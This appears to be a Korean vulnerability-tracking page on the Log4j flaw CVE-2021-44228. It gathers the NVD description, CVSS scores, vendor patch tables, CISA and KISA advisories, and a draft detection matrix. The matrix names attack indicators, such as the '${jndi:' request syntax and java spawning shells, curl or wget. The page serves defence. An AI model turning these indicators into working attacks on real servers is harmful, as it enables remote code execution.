CVE-2021-44228
위험도 심각 실제 악용 (KEV) 랜섬웨어 악용 공격 코드 공개 ASEC 언급 26건
- 우선순위 이 사이트의 참고 점수
- 20.50
- 위험도 CVSS 3.1 · 0~10점
- 10.0
- 악용 가능성 EPSS · 30일 안에 공격에 쓰일 확률
- 100.0%
- 공개일 NVD
- 2021-12-10
설명 NVD 원문
Apache Log4j2 2.0-beta9부터 2.15.0까지(보안 릴리스 2.12.2, 2.12.3, 2.3.1은 제외)에서 설정, 로그 메시지, 매개변수에 사용되는 JNDI 기능이 공격자가 제어하는 LDAP 및 기타 JNDI 관련 엔드포인트에 대한 보호를 제공하지 않는다. 로그 메시지 또는 로그 메시지 매개변수를 제어할 수 있는 공격자는 메시지 조회 치환(message lookup substitution)이 활성화된 경우 LDAP 서버에서 로드된 임의의 코드를 실행할 수 있다. Log4j 2.15.0부터는 이 동작이 기본적으로 비활성화되었다. 2.16.0(및 2.12.2, 2.12.3, 2.3.1)부터는 이 기능이 완전히 제거되었다. 이 취약점은 log4j-core에 한정되며, log4net, log4cxx 또는 Apache Logging Services의 다른 프로젝트에는 영향을 주지 않는다는 점에 유의한다.
Claude 로 기계 번역한 글입니다. 정확한 내용은 영어 원문을 확인하세요.
영어 원문
Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
위험도 세부 항목 CVSS 3.1
- 공격 경로
- 네트워크(원격) AV:N
- 공격 난이도
- 낮음(쉬움) AC:L
- 필요한 권한
- 없음(로그인 불필요) PR:N
- 사용자 행동 필요
- 필요 없음 UI:N
- 영향 범위
- 다른 시스템까지 S:C
- 정보 유출(기밀성)
- 높음 C:H
- 데이터 변조(무결성)
- 높음 I:H
- 서비스 중단(가용성)
- 높음 A:H
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
조치 방법 90행
| 출처 | 플랫폼·제품 | 방식 | 패키지 | 수정된 버전 | 권고문RHSA 등 | 내용 |
|---|---|---|---|---|---|---|
| 수작업 | Apache Log4j 2 (패치 불가 시) | 완화 조치 | log4j-core | 원문 | jar에서 JndiLookup 클래스 제거 `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.…jar에서 JndiLookup 클래스 제거 `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class`. formatMsgNoLookups 옵션만으로는 불충분한 것으로 밝혀졌으니 단독 조치로 쓰지 말 것. |
|
| 수작업 | Apache Log4j 2 (Java 7 / Java 6) | 패치(업데이트) | log4j-core | 2.12.4 (Java 7) / 2.3.2 (Java 6) | 원문 | |
| 수작업 | Apache Log4j 2 (Java 8 이상) | 패치(업데이트) | log4j-core | 2.17.1 이상 | 원문 | 후속 취약점(CVE-2021-45046, 45105, 44832)까지 고려해 2.17.1 이상 권장 |
| KISA | Apache Log4j 보안 업데이트 권고 (Update. 22-1-3 14:40) | 패치(업데이트) | KISA-36389 | o 제조사 홈페이지를 통해 최신버전으로 업데이트 적용 [3] ※ 제조사 홈페이지에 신규버전이 계속 업데이트되고 있어 확인 후 업데이트 적용 필요 - CVE-2021-44228, C…o 제조사 홈페이지를 통해 최신버전으로 업데이트 적용 [3] ※ 제조사 홈페이지에 신규버전이 계속 업데이트되고 있어 확인 후 업데이트 적용 필요 - CVE-2021-44228, CVE-2021-45046 · Java 8 이상 : Log4j 2.17.0 이상 버전 으로 업데이트 · Java 7 : Log4j 2.12.3 이상 버전 으로 업데이트 · Java 6 : Log4j 2.3.1 이상 버전 으로 업데이트 ※ log4j-core-*.jar 파일 없이 log4j-api-*.jar 파일만 사용하는 경우 위 취약점의 영향을 받지 않음 - CVE-2021-4104 · Java 8 : Log4j 2.17.0 이상 버전 으로 업데이트 · Java 7 : Log4j 2.12.3 이상 버전 으로 업데이트 · Java 6 : Log4j 2.3.1 이상 버전 으로 업데이트 o 신규 업데이트가 불가능할 경우 아래와 같이 조치 적용 - CVE-2021-44228, CVE-2021-45046 · JndiLookup 클래스를 경로에서 제거 - CVE-2021-4104 · JMSAppender 사용 확인 후 코드 수정 또는 삭제 ※ log4j 1.x버전 사용자의 경우 추가적인 업그레이드 지원 중지로 인해 다른 보안위협에 노출될 가능성이 높아 최신버전(2.x) 업데이트 적용 권고 |
||
| KISA | AWS Log4j 핫픽스 수정 보안 업데이트 권고 | 패치(업데이트) | KISA-66667 | o 해당 벤더사의 최신버전으로 업데이트 [2] | ||
| KISA | SAP Inventory Manager | 패치(업데이트) | KISA-36486 | 영향받는 버전: SAP Inventory Manager | ||
| KISA | SAP Work Manager | 패치(업데이트) | KISA-36486 | 영향받는 버전: SAP Work Manager | ||
| KISA | 설 연휴기간 사이버 공격 대비 보안 권고 사항 (상세) | 패치(업데이트) | KISA-36422 | o 서버 보안 강화 방안 o PC 보안 강화 방안 o NAS 보안 강화 방안 o IoT 보안 강화 방안 o 공통 보안 강화 방안 o 이상 징후 포착 및 침해사고 발생 시, 한국인터…o 서버 보안 강화 방안 o PC 보안 강화 방안 o NAS 보안 강화 방안 o IoT 보안 강화 방안 o 공통 보안 강화 방안 o 이상 징후 포착 및 침해사고 발생 시, 한국인터넷진흥원으로 즉시 신고 ※ 'KISA 인터넷보호나라&KrCERT' 홈페이지(www.boho.or.kr) - 상담및신고- 해킹사고 ※ 한국인터넷진흥원 인터넷침해대응센터 종합상황실(02-405-4911~5, certgen@krcert.or.kr) |
||
| KISA | 제조사 홈페이지 참고 [1] | 패치(업데이트) | KISA-36414 | 영향받는 버전: 제조사 홈페이지 참고 [1] | ||
| KISA | 제조사 홈페이지 참고 [1] | 패치(업데이트) | KISA-36445 | 영향받는 버전: 제조사 홈페이지 참고 [1] | ||
| KISA | 최근 해킹 공격에 활용되는 취약점 보안 업데이트 권고 | 패치(업데이트) | KISA-67155 | o 취약점별 참고사이트[1]~[23]에 명시되어 있는 내용을 참조하여 업데이트 수행 |
Microsoft 조치 (KB 업데이트) 15행
| 출처 | 플랫폼·제품 | 방식 | 패키지 | 수정된 버전 | 권고문RHSA 등 | 내용 |
|---|---|---|---|---|---|---|
| Microsoft | Azure Application Insights Java SDK | 패치(업데이트) | Additional Information | Additional Information | 보안 업데이트 | |
| Microsoft | Azure Arc-enabled Data Services | 패치(업데이트) | Release Notes | Release Notes | 보안 업데이트 | |
| Microsoft | Azure Data Lake Store Java client SDK | 패치(업데이트) | Additional Information | Additional Information | 보안 업데이트 | |
| Microsoft | Azure Data Lake Store Java tool | 패치(업데이트) | Additional Information | Additional Information | 보안 업데이트 | |
| Microsoft | Azure Databricks | 패치(업데이트) | Additional Information | Additional Information | 보안 업데이트 | |
| Microsoft | Azure DevOps | 패치(업데이트) | Additional Information | Additional Information | 보안 업데이트 | |
| Microsoft | Azure DevOps Server | 패치(업데이트) | Additional Information | Additional Information | 보안 업데이트 | |
| Microsoft | Azure Spring Cloud | 패치(업데이트) | Current Info | Current Info | 보안 업데이트 | |
| Microsoft | Azure VMware Solution | 패치(업데이트) | Additional Information | Additional Information | 보안 업데이트 | |
| Microsoft | Cosmos DB Kafka Connector | 패치(업데이트) | Additional Information | Additional Information | 보안 업데이트 | |
| Microsoft | Events Hub Extension | 패치(업데이트) | Additional Information | Additional Information | 보안 업데이트 | |
| Microsoft | Microsoft Defender for IoT | 패치(업데이트) | Release Notes | 10.5.2 | Release Notes | 보안 업데이트 |
| Microsoft | Minecraft Java Edition | 패치(업데이트) | Additional Information | 1.18.1 | Additional Information | 보안 업데이트 |
| Microsoft | SQL Server 2019 Big Data Clusters | 패치(업데이트) | Additional Information | Additional Information | 보안 업데이트 | |
| Microsoft | Team Foundation Server | 패치(업데이트) | Additional Information | Additional Information | 보안 업데이트 |
Red Hat 조치 64행
| 출처 | 플랫폼·제품 | 방식 | 패키지 | 수정된 버전 | 권고문RHSA 등 | 내용 |
|---|---|---|---|---|---|---|
| Red Hat | A-MQ Clients 2 | 수정판 없음 | log4j-core | 원문 | Red Hat 상태: 영향 없음 | |
| Red Hat | Red Hat (공통) | 완화 조치 | 원문 | For Log4j versions >=2.10 set the system property log4j2.formatMsgNoLookups or the environment varia…For Log4j versions >=2.10 set the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true For Log4j versions >=2.7 and <=2.14.1 all PatternLayout patterns can be modified to specify the message converter as %m{nolookups} instead of just %m For Log4j versions >=2.0-beta9 and <=2.10.0 remove the JndiLookup class from the classpath. For example: ``` zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class ``` On OpenShift 4 and in OpenShift Logging, the above mitigation can be applied by following the steps in this article: https://access.redhat.com/solutions/6578421 On OpenShift 3.11, mitigation to the affected Elasticsearch component can be applied by following the steps in this article: https://access.redhat.com/solutions/6578441 |
||
| Red Hat | Red Hat 3scale API Management Platform 2 | 수정판 없음 | log4j | 원문 | Red Hat 상태: 영향 없음 | |
| Red Hat | Red Hat AMQ Broker 7 | 수정판 없음 | log4j | 원문 | Red Hat 상태: 영향 없음 | |
| Red Hat | Red Hat build of Quarkus | 수정판 없음 | log4j-core | 원문 | Red Hat 상태: 영향 없음 | |
| Red Hat | Red Hat Decision Manager 7 | 수정판 없음 | log4j-core | 원문 | Red Hat 상태: 영향 없음 | |
| Red Hat | Red Hat Enterprise Linux 6 | 수정판 없음 | log4j | 원문 | Red Hat 상태: 영향 없음 | |
| Red Hat | Red Hat Enterprise Linux 7 | 수정판 없음 | log4j | 원문 | Red Hat 상태: 영향 없음 | |
| Red Hat | Red Hat Enterprise Linux 8 | 수정판 없음 | parfait:0.5/log4j12 | 원문 | Red Hat 상태: 영향 없음 | |
| Red Hat | Red Hat Integration Camel Quarkus 1 | 수정판 없음 | log4j-core | 원문 | Red Hat 상태: 영향 있음(수정 예정) | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 6 | 수정판 없음 | log4j | 원문 | Red Hat 상태: 영향 없음 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 | 수정판 없음 | log4j-core | 원문 | Red Hat 상태: 영향 있음(수정 예정) | |
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack | 수정판 없음 | log4j-core | 원문 | Red Hat 상태: 영향 없음 | |
| Red Hat | Red Hat OpenStack Platform 13 (Queens) | 수정판 없음 | opendaylight | 원문 | Red Hat 상태: 지원 기간 끝남 | |
| Red Hat | Red Hat Quay 3 | 수정판 없음 | quay/quay-rhel8 | 원문 | Red Hat 상태: 영향 없음 | |
| Red Hat | Red Hat Satellite 6 | 수정판 없음 | log4j-over-slf4j | 원문 | Red Hat 상태: 영향 없음 | |
| Red Hat | Red Hat Single Sign-On 7 | 수정판 없음 | log4j-core | 원문 | Red Hat 상태: 영향 없음 | |
| Red Hat | Red Hat Software Collections | 수정판 없음 | rh-java-common-log4j | 원문 | Red Hat 상태: 영향 없음 | |
| Red Hat | Red Hat Software Collections | 수정판 없음 | rh-maven35-log4j12 | 원문 | Red Hat 상태: 영향 없음 | |
| Red Hat | Red Hat Software Collections | 수정판 없음 | rh-maven36-log4j12 | 원문 | Red Hat 상태: 영향 없음 | |
| Red Hat | Service Telemetry Framework 1.3 for RHEL 8 | 수정판 없음 | stf/sg-core-rhel8 | 원문 | Red Hat 상태: 영향 없음 | |
| Red Hat | OpenShift Logging 5.0 | 패치(업데이트) | openshift-logging/elasticsearch6-rhel8:v5.0.10-1 | RHSA-2021:5137 | ||
| Red Hat | OpenShift Logging 5.1 | 패치(업데이트) | openshift-logging/elasticsearch6-rhel8:v6.8.1-67 | RHSA-2021:5128 | ||
| Red Hat | OpenShift Logging 5.2 | 패치(업데이트) | openshift-logging/elasticsearch6-rhel8:v6.8.1-66 | RHSA-2021:5127 | ||
| Red Hat | OpenShift Logging 5.3 | 패치(업데이트) | openshift-logging/elasticsearch6-rhel8:v6.8.1-65 | RHSA-2021:5129 | ||
| Red Hat | Red Hat AMQ Streams 1.6.5 | 패치(업데이트) | RHSA-2021:5133 | |||
| Red Hat | Red Hat AMQ Streams 1.8.4 | 패치(업데이트) | log4j-core | RHSA-2021:5138 | ||
| Red Hat | Red Hat Data Grid 8.2.2 | 패치(업데이트) | log4j-core | RHSA-2021:5132 | ||
| Red Hat | Red Hat Fuse 7.10 | 패치(업데이트) | log4j-core | RHSA-2021:5134 | ||
| Red Hat | Red Hat Fuse 7.8.2, 7.9.1, 7.10.1 | 패치(업데이트) | log4j-core | RHSA-2022:0203 | ||
| Red Hat | Red Hat Integration | 패치(업데이트) | log4j-core | RHSA-2021:5130 | ||
| Red Hat | Red Hat Integration Camel Quarkus 2 | 패치(업데이트) | RHSA-2021:5126 | |||
| Red Hat | Red Hat JBoss Enterprise Application Platform | 패치(업데이트) | org.apache.logging.log4j/log4j-api:2.17.1.redhat-00002 | RHSA-2021:5140 | ||
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.1 EUS for RHEL 7 | 패치(업데이트) | eap7-apache-cxf | 3.1.16-4.redhat_00003.1.ep7.el7 | RHSA-2025:1746 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.1 EUS for RHEL 7 | 패치(업데이트) | eap7-jackson-databind | 2.8.11.6-2.SP1_redhat_00002.1.ep7.el7 | RHSA-2025:1746 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.1 EUS for RHEL 7 | 패치(업데이트) | eap7-jettison | 1.3.8-2.redhat_00002.1.ep7.el7 | RHSA-2025:1746 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.1 EUS for RHEL 7 | 패치(업데이트) | eap7-netty | 4.1.63-1.Final_redhat_00002.1.ep7.el7 | RHSA-2025:1746 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.1 EUS for RHEL 7 | 패치(업데이트) | eap7-resteasy | 3.0.27-1.Final_redhat_00001.1.ep7.el7 | RHSA-2025:1746 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.1 EUS for RHEL 7 | 패치(업데이트) | eap7-snakeyaml | 1.33.0-1.SP1_redhat_00001.1.ep7.el7 | RHSA-2025:1746 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.1 EUS for RHEL 7 | 패치(업데이트) | eap7-velocity | 1.7.0-3.redhat_00006.1.ep7.el7 | RHSA-2025:1746 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.1 EUS for RHEL 7 | 패치(업데이트) | eap7-wildfly | 7.1.9-2.GA_redhat_00002.1.ep7.el7 | RHSA-2025:1746 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 | 패치(업데이트) | eap7-hal-console | 3.2.17-1.Final_redhat_00001.1.el7eap | RHSA-2025:1747 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 | 패치(업데이트) | eap7-jackson-annotations | 2.10.4-2.redhat_00004.1.el7eap | RHSA-2025:1747 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 | 패치(업데이트) | eap7-jackson-core | 2.10.4-2.redhat_00004.1.el7eap | RHSA-2025:1747 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 | 패치(업데이트) | eap7-jackson-databind | 2.10.4-4.redhat_00004.1.el7eap | RHSA-2025:1747 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 | 패치(업데이트) | eap7-jackson-jaxrs-providers | 2.10.4-2.redhat_00004.1.el7eap | RHSA-2025:1747 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 | 패치(업데이트) | eap7-jackson-modules-base | 2.10.4-4.redhat_00004.1.el7eap | RHSA-2025:1747 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 | 패치(업데이트) | eap7-jackson-modules-java8 | 2.10.4-2.redhat_00004.1.el7eap | RHSA-2025:1747 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 | 패치(업데이트) | eap7-jettison | 1.5.2-2.redhat_00002.1.el7eap | RHSA-2025:1747 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 | 패치(업데이트) | eap7-netty | 4.1.63-4.Final_redhat_00002.1.el7eap | RHSA-2025:1747 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 | 패치(업데이트) | eap7-resteasy | 3.11.6-1.Final_redhat_00001.1.el7eap | RHSA-2025:1747 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 | 패치(업데이트) | eap7-snakeyaml | 1.33.0-1.SP1_redhat_00001.1.el7eap | RHSA-2025:1747 | |
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 | 패치(업데이트) | eap7-wildfly | 7.3.12-3.GA_redhat_00002.1.el7eap | RHSA-2025:1747 | |
| Red Hat | Red Hat OpenShift Container Platform 3.11 | 패치(업데이트) | openshift3/ose-logging-elasticsearch5:v3.11.570-2.gd119820 | RHSA-2021:5094 | ||
| Red Hat | Red Hat OpenShift Container Platform 4.6 | 패치(업데이트) | openshift4/ose-logging-elasticsearch6:v4.6.0-202112132021.p0.g2a13a81.assembly.stream | RHSA-2021:5106 | ||
| Red Hat | Red Hat OpenShift Container Platform 4.6 | 패치(업데이트) | openshift4/ose-metering-hive:v4.6.0-202112140546.p0.g8b9da97.assembly.stream | RHSA-2021:5106 | ||
| Red Hat | Red Hat OpenShift Container Platform 4.6 | 패치(업데이트) | openshift4/ose-metering-presto:v4.6.0-202112150545.p0.g190688a.assembly.art3595 | RHSA-2021:5141 | ||
| Red Hat | Red Hat OpenShift Container Platform 4.7 | 패치(업데이트) | openshift4/ose-metering-hive:v4.7.0-202112140553.p0.g091bb99.assembly.stream | RHSA-2021:5107 | ||
| Red Hat | Red Hat OpenShift Container Platform 4.7 | 패치(업데이트) | openshift4/ose-metering-presto:v4.7.0-202112150631.p0.gd502108.assembly.4.7.40 | RHSA-2021:5107 | ||
| Red Hat | Red Hat OpenShift Container Platform 4.8 | 패치(업데이트) | openshift4/ose-metering-hive:v4.8.0-202112132154.p0.g57dd03a.assembly.stream | RHSA-2021:5108 | ||
| Red Hat | Red Hat OpenShift Container Platform 4.8 | 패치(업데이트) | openshift4/ose-metering-presto:v4.8.0-202112150431.p0.g4b934ae.assembly.art3599 | RHSA-2021:5148 | ||
| Red Hat | RHPAM 7.11.1 | 패치(업데이트) | RHSA-2022:0082 | |||
| Red Hat | RHPAM 7.12.0 | 패치(업데이트) | log4j-core | RHSA-2022:0296 | ||
| Red Hat | Vert.x 4.1.5 SP1 | 패치(업데이트) | log4j-core | RHSA-2021:5093 |
CISA 조치 권고 KEV
For all affected software assets for which updates exist, the only acceptable remediation actions are: 1) Apply updates; OR 2) remove affected assets from agency networks. Temporary mitigations using one of the measures provided at https://www.cisa.gov/uscert/ed-22-02-apache-log4j-recommended-mitigation-measures are only acceptable until updates are available.
미국 연방기관 조치 기한: 2021-12-24
살펴볼 장비 초안
공격 대상: 서버·웹 서비스. '이 장비에서 살펴볼 취약점' 이라는 분류이며, 장비가 탐지한다는 확인이 아닙니다.
| 장비 보기 | 정도 | 분류 이유 |
|---|---|---|
| 웹 요청 (WAF·웹 로그) | 주 | 사람 지정: 공격 문자열이 웹 요청으로 들어올 수 있음 (detection/DET-CVE-2021-44228-01.yaml, 재현 전) |
| 네트워크 통신 (IPS·NDR) | 주 | 사용자 행동 없이 네트워크로 코드·명령 실행 |
| 서버 행위 (EDR·감사 로그) | 주 | 성공하면 프로세스·파일 행위가 남을 수 있는 실행 유형 |
단계별 판정 예시 환경
예시 환경 (DMZ 웹 서버 구성) 기준입니다. 실제 환경의 평가가 아닙니다. 그 위치에서 흔적을 볼 수단이 있는지의 판정이며, 실제 탐지를 확인한 것이 아닙니다. 시나리오 상태: draft (재현·검토 전). 단계 결과는 확인 항목 중 가장 좋은 것이므로, 눌러서 항목별 결과를 확인하세요.
직접 흔적 1. 공격 문자열 유입
| 결과 | 장비 @ 위치 | 흔적 종류 | 확인할 흔적 |
|---|---|---|---|
| 직접 흔적 | WAF @ internet-dmz | 직접 | 요청의 ${jndi: 구문과 난독화 변형 |
| 확인 필요
조건 미확인: IPS가 복호화된 웹 요청을 보는지 |
IPS @ internet-dmz | 직접 | Log4Shell 시그니처 |
| 직접 흔적 | WEBLOG @ dmz | 직접 | 접근 로그에 남는 항목(URL·User-Agent 등)의 jndi 구문. 본문과 기록하지 않는 헤더는 보이지 않음 |
간접 흔적 2. 취약 서버가 공격자 서버로 접속 (JNDI 조회)
| 결과 | 장비 @ 위치 | 흔적 종류 | 확인할 흔적 |
|---|---|---|---|
| 간접 흔적 | FW @ dmz-internet | 간접 | 1단계 직후 웹 서버가 처음 보는 외부 목적지로 연결 (허용·차단 모두) |
| 사각지대
장비 없음 |
IPS @ dmz-internet | 직접 | 외부로 나가는 LDAP·RMI 프로토콜 |
| 사각지대
장비 없음 |
NDR @ dmz-internet | 직접 | 비표준 포트의 LDAP·RMI, 비정상 DNS 질의 |
판정하지 못한 것: DNS 질의 로그는 devices.yaml 에 해당 장비 종류가 없어 판정하지 못한다
미수집 3. 서버에서 코드·명령 실행
| 결과 | 장비 @ 위치 | 흔적 종류 | 확인할 흔적 |
|---|---|---|---|
| 사각지대
장비 없음 |
EDR @ dmz | 직접 | java 프로세스가 sh·bash·curl·wget 등을 실행 |
| 미수집
조건 미확인: auditd에 프로세스 실행 기록 규칙이 있는지 |
SYSAUDIT @ dmz | 직접 | java 의 자식 프로세스 실행 기록. 프로세스 안에서만 동작하는 코드는 보이지 않음 |
간접 흔적 4. 추가 도구 내려받기·원격 제어
| 결과 | 장비 @ 위치 | 흔적 종류 | 확인할 흔적 |
|---|---|---|---|
| 간접 흔적 | FW @ dmz-internet | 간접 | 새 외부 목적지로의 지속·반복 연결 |
| 사각지대
장비 없음 |
NDR @ dmz-internet | 간접 | 내려받기와 주기적 통신 패턴 |
| 사각지대
장비 없음 |
EDR @ dmz | 직접 | 새 실행 파일 생성과 실행 |
간접 흔적 5. 서버팜으로 이동
| 결과 | 장비 @ 위치 | 흔적 종류 | 확인할 흔적 |
|---|---|---|---|
| 간접 흔적 | FW @ dmz-server | 간접 | 웹 서버의 평소와 다른 목적지·포트 접속과 차단 기록. 허용된 DB 포트 안의 행위는 구분하기 어려움 |
| 미수집 | DBSEC @ server | 간접 | 평소와 다른 쿼리, 대량 조회 |
| 미수집 | SYSAUDIT @ server | 직접 | DMZ 에서 온 로그인, 계정·권한 변경 |
간접 흔적 6. 데이터 유출
| 결과 | 장비 @ 위치 | 흔적 종류 | 확인할 흔적 |
|---|---|---|---|
| 간접 흔적 | FW @ dmz-internet | 간접 | 외부 전송량 급증 |
| 간접 흔적 | FW @ server-internet | 간접 | 서버팜의 새 외부 목적지, 전송량 급증 |
| 사각지대
장비 없음 |
NDR @ dmz-internet | 간접 | 대량 전송, 터널링 |
출처별 내용 34건
CISA KEV Apache Log4j2 Remote Code Execution Vulnerability 2021-12-10
For all affected software assets for which updates exist, the only acceptable remediation actions are: 1) Apply updates; OR 2) remove affected assets from agency networks. Temporary mitigations using one of the measures provided at https://www.cisa.gov/uscert/ed-22-02-apache-log4j-recommended-mitigation-measures are only acceptable until updates are available.
KISA 최근 해킹 공격에 활용되는 취약점 보안 업데이트 권고 2023-02-17
□ 개요 o 최근 기업에서 운영 중인 서버의 취약점을 악용한 해킹 툴 제작 및 공격이 활발히 발생하고있어, 기업 담당자들의 철저한 사전 보안 점검 및 대비 필요 o 취약한 버전의 소프트웨어, 서버를 사용하는 기업 및 사용자는 최신버전으로 업데이트 권고 □ 최근 악용되고있는 주요 취약점 ㅇ Apache APISIX에서 발생하는 인증 우회 취약점(CVE-2021-45232)[1] ㅇ Apache HTTP Server에서 경로 탐색(Path Traversal)으로 인해 발생하는 정보노출 취약점(CVE-2021-42013)[2] ㅇ Apache HTTP Server에서 경로 탐색(Path Traversal)으로 인해 발생하는 정보노출 취약점(CVE-2021-41773)[3] ㅇ Apache OFBiz에서 발생하는 크로스 사이트 스크립팅(XSS) 취약점(CVE-2020-9496)[4] ㅇ Apache OFBiz에서 발생하는 역직렬화 취약점(CVE-2021-26295)[5] ㅇ Apache Struts에서 발생하는 원격코드 실행 취약점(CVE-2020-17530)[6] ㅇ Apache Struts에서 사용자 입력값 검증 미흡으로 발생하는 원격 코드 실행 취약점(CVE-2021-31805)[7] ㅇ Apache Tomcat이 AJP request 메시지를 처리할 때, 메시지에 대한 처리가 미흡하여 발생하는 원격코드실행 취약점(CVE-2020-1938)[8] ㅇ Apache Log4j에서 발생하는 원격코드 실행 취약점(CVE-2021-44228)[9] ㅇ Atlassian Confluence Server 및 Data Center에서 OGNL 인젝션으로 인해 발생하는 원격코드실행 취약점(CVE-2021-26084)[10] ㅇ BIG-IP에서 iControl REST 인증 미흡으로 인해 발생하는 불충분한 인가 취약점(CVE-2022-1388)[11] ㅇ BIG-IP, BIG-IQ의 iControl REST 인터페이스에서 발생하는 원격 코드 실행 취약점(CVE-2021-22986)[12] ㅇ Grafana 소프트웨어에서 경로탐색(Directory Traversal)으로 인해 발생하는 정보노출 취약점(CVE-2021-43798)[13] ㅇ Inspur ClusterEngine V4.0에서 발생하는 원격 코드 실행 취약점(CVE-2020-21224)[14] ㅇ Oracle WebLogic Server에서 발생하는 원격 코드 실행 취약점(CVE-2021-2109)[15] ㅇ SMBv3 프로토콜이 조작된 패킷을 처리할 때 버퍼오버플로우로 인해 발생하는 원격코드실행 취약점(CVE-2020-0796)[16] ㅇ Spring Cloud Gateway에서 발생하는 원격코드 실행 취약점(CVE-2022-22947)[17] ㅇ Spring Core에서 발생하는 원격코드실행 취약점(CVE-2022-22965)[18] ㅇ Spring Cloud Function에서 발생하는 원격코드실행 취약점(CVE-2022-22963)[18] ㅇ VMware vCenter Server 원격 코드 실행 취약점(CVE-2021-21972)[19] ㅇ VMware vCenter Server 에서 발생하는 파일 업로드 취약점(CVE-2021-22005)[20] ㅇ VMware Workspace ONE Access와 Identity Manager에서 발생하는 원격 코드 실행 취약점(CVE-2022-22954)[21] ㅇ WebLogic Server에서 안전하지 않은 역직렬화로 인해 발생하는 인증 우회 및 원격코드 실행 취약점(CVE-2019-2725)[22] ㅇ WSO2에서 발생하는 원격코드 실행 취약점(CVE-2022-29464)[23] □ 해결 방안 o 취약점별 참고사이트[1]~[23]에 명시되어 있는 내용을 참조하여 업데이트 수행 □ 기타 문의사항 o 한국인터넷진흥원 사이버민원센터: 국번없이 118 [참고사이트] [1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45232 [2] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36279 [3] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36277 [4] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9496 [5] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26295 [6] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17530 [7] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66650 [8] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35292 [9] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389 [10] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36221 [11] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66689 [12] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35935 [13] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36386 [14] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21224 [15] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35875 [16] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35297 [17] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947 [18] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66592 [19] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35925 [20] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36255 [21] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66633 [22] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35016 [23] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29464 □ 작성 : 취약점분석팀
KISA AWS Log4j 핫픽스 수정 보안 업데이트 권고 2022-04-21
